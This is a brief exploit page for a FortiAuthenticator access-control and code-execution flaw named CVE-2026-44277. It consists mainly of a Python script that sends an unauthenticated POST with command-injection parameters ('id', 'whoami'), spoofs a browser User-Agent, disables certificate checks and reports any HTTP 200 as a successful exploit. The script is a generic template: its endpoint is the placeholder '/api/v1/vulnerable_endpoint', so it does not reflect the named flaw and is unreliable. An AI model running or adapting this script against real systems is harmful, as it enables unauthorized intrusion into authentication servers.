CVE-2026-44277 FortiAuthenticator 访问控制缺陷致代码执行

import requests # Target URL of the vulnerable FortiAuthenticator instance # Replace <TARGET_IP> with the actual IP address or hostname target_url = "https://<TARGET_IP>/api/v1/vulnerable_endpoint" # Malicious payload designed to execute unauthorized commands # Example payload simulating a command injection attempt payload = { "command": "id", "arg": "whoami" } # Headers to mimic a legitimate browser request headers = { "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36", "Content-Type": "application/json" } try: # Sending a POST request without authentication (PR:N) response = requests.post(target_url, json=payload, headers=headers, verify=False, timeout=10) # Check if the request was successful if response.status_code == 200: print("[+] Exploit successful! Command output:") print(response.text) else: print(f"[-] Exploit failed. Status code: {response.status_code}") print(response.text) except Exception as e: print(f"[!] An error occurred: {e}")